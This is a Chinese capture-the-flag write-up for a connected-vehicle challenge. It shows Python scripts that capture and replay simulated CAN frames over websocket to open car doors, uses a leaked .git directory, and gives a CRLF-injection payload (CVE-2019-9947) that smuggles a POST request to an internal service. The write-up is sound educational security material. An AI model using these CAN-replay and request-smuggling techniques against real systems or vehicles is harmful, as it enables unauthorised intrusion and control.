约法X章

  1. CAN 流量分析
  2. websocket 流量获取
  3. git信息泄露
  4. python CRLF 注入 CVE-2019-9947
  5. Apache HTTPD 请求头解析futrue

致知力行

CAN总线优点:

  1. 硬件方案的软件化实现,简化了设计,降低了成本,且在数据更新增加新信息时,只需软件升级即可,扩充性强;
  2. 控制单元对所传输的信息进行实时检测,具有错误诊断能力和自动恢复能力,节省生产维护成本;
  3. CAN总线符合国际标准,因此可应用不同型号控制单元间的数据传输;
  4. 数据共享减少了数据的重复处理,节省成本。如对于具有CAN总线接口的电喷发动机,其它电器可共享其提供的转速、水温、机油压力温度等,可省去额外的水温、油压、油温传感器。

打开题目,发现页面中提供了两个功能 功能探索和 开车逃跑,从控制台这里看到有websocket流量,路由为: “/test/log”。
数字中国-车联网赛道 BestAgent - 图1
到这里如果之前没有见到过can流量可能不是非常敏感,记得这个路由,回来再看,转到开车逃跑页面,提示我们按回车加速,发现也有websocket流量发出,结构与刚刚接到的十分类似。
数字中国-车联网赛道 BestAgent - 图2
逃跑页面提示我们”任务0”为打开左车门。
整理一下已知线索:

  1. 探索页面提供http方式触发操作,并且返回流量
  2. 逃跑页面提供个websocket方式触发操作

所以我们需要从探索页面找到http触发的那一个流量,在逃跑页面提交。
该关卡中所模拟的车辆可理解为ICSim的web版(其中的流量也是魔改ICSim产生的)。现在我们要做的事情如下:
触发动作 — > 获取流量 –-> 提交流量
触发动作则是通过http请求,很容易就可以构造,关键在于需要对发出动作后的websocket流量进行分析,这就需要我们捕获websocket流量,在这里我选择python的websocket包直接与服务端建立连接。
如下:

  1. ws = websocket.WebSocketApp("ws://ip:port/test/log",
  2. on_message=on_message,
  3. )
  4. ws.run_forever()

“on_message” 作为接收到消息的回调接口,每次接收到流量都会调用此函数,我们可以在此函数中触发车辆动作,这样能确保后面获取到的流量都是此次触发动作相关的流量,我们以开右车门为例再次整理已知的线索:
在我们调用开右车门接口后,在CAN流量中可看到发出开右车门的请求流量,所以我们需多次调用开右车的接口,在后续流量中一直重复出现的那个,即为开右车门的请求流量。
完整代码如下:

  1. import websocket
  2. import eventlet
  3. import requests
  4. payload_list = []
  5. eventlet.monkey_patch()
  6. run_counts = 0
  7. max_counts = 20
  8. do_it = False
  9. max_round = 5
  10. url="192.168.244.133:7410"
  11. def on_message(ws, message):
  12. global max_counts
  13. global do_it
  14. global max_round
  15. global url
  16. if not do_it and max_counts > 0:
  17. max_counts = max_counts - 1
  18. if max_counts == 0:
  19. if not do_it:
  20. with requests.get(f"http://{url}/test/control?op=open_left") as f:
  21. print(f.text)
  22. do_it = not do_it
  23. max_counts = 20
  24. max_round = max_round - 1
  25. if do_it and max_counts > 0:
  26. with open(f"test/after_{max_round}.log", "a+") as f:
  27. f.write(message)
  28. max_counts = max_counts - 1
  29. with open(f"test/after_{run_counts}.log","a+") as f:
  30. f.write(message)
  31. ws = websocket.WebSocketApp(f"ws://{url}/test/log",
  32. on_message=on_message,
  33. )
  34. ws.run_forever()

通过这种方式,获取到开关左右车门,左转右转的流量,在逃跑页面发送,我这里也是调用python的socket包发送。
注意:开关车门顺序必须按照解题的顺序。
最终根据收集到的流量,整理出完整的poc:

  1. import websocket
  2. import time
  3. payload_list = []
  4. def on_message(ws, message):
  5. print(message)
  6. time.sleep(1)
  7. if len(payload_list) > 0:
  8. c = payload_list.pop()
  9. ws.send(c)
  10. def on_error(ws, error):
  11. print(ws)
  12. print(error)
  13. def on_close(ws):
  14. print(ws)
  15. print("### closed ###")
  16. def payload():
  17. c = '17E#00000E000000'
  18. print(c)
  19. payload_list.append(c)
  20. c = '17E#00000D000000'
  21. print(c)
  22. payload_list.append(c)
  23. c = '17E#00000D000000'
  24. print(c)
  25. payload_list.append(c)
  26. c = '17E#00000F000000'
  27. print(c)
  28. payload_list.append(c)
  29. c = "244#000000502D"
  30. print(c)
  31. payload_list.append(c)
  32. c = '19A#01000000'
  33. print(c)
  34. payload_list.append(c)
  35. c = "244#00000050"
  36. print(c)
  37. payload_list.append(c)
  38. c = '19A#02000000'
  39. print(c)
  40. payload_list.append(c)
  41. payload_list.append("244#00000050")
  42. payload_list.append("get")
  43. payload_list.reverse()
  44. url = "192.168.244.133:7410"
  45. ws = websocket.WebSocketApp(f"ws://{url}/hack/control",
  46. on_message=on_message,
  47. on_error=on_error,
  48. on_close=on_close)
  49. if __name__ == '__main__':
  50. payload()
  51. ws.run_forever()

数字中国-车联网赛道 BestAgent - 图3

信息收集

这个页面提示:
数字中国-车联网赛道 BestAgent - 图4
看参数,是 open.php, 从header可以发现是python程序,但是参数是一个php,可以推想到是访问了内部的其他服务
又有提示code history, 涉及版本控制, 尝试 /fetch/api?action=.git 发现存在 .git 目录,尝试 git-attack。
数字中国-车联网赛道 BestAgent - 图5
下载后通过 Git 退回到初始版本,可以看到 index.php 源码
数字中国-车联网赛道 BestAgent - 图6

CRLF

通过输入不是GET的socket的数据包发现报错,可以知道是python的服务,而python中使用 urllib.request.urlopen的http请求中,在历史版本可以找到是存在CRLF的
数字中国-车联网赛道 BestAgent - 图7
“index.php” 需发送”POST” 请求,但我们的接口只能构造GET请求,怎么才能发送POST请求呢?
联想 “CVE-2019-9947” 及 “apache” 特性,构造payload:

  1. import urllib.error
  2. import urllib.request
  3. from urllib.parse import quote
  4. import requests
  5. txt = """/oen HTTP/1.1
  6. Host: 127.0.0.1
  7. POST /index.php HTTP/1.1
  8. Host: 127.0.0.1
  9. Content-Length: 39
  10. {"get_flag_is_a_beautiful_thing":"yes"}
  11. """
  12. url = "192.168.244.133:7410"#sys.argv[1]
  13. if __name__ == '__main__':
  14. try:
  15. text = quote(txt, 'utf-8')
  16. text = text.replace("%0A", "%0D%0A")
  17. print("http://{url}/fetch/api?action="+text)
  18. with requests.get(f"http://{url}/fetch/api?action="+text) as rep:
  19. print(rep.text)
  20. with requests.get(f"http://{url}/fetch/api?action=flag") as rep:
  21. print(rep.text)
  22. except urllib.error.URLError as e:
  23. print(e)

后请求 fetch/api?action=flag 即可:
数字中国-车联网赛道 BestAgent - 图8
题目复现可在竞赛大本营中尝试:
https://www.ichunqiu.com/competition
数字中国-车联网赛道 BestAgent - 图9

转载链接:http://www.iotsec-zone.com/article?id=125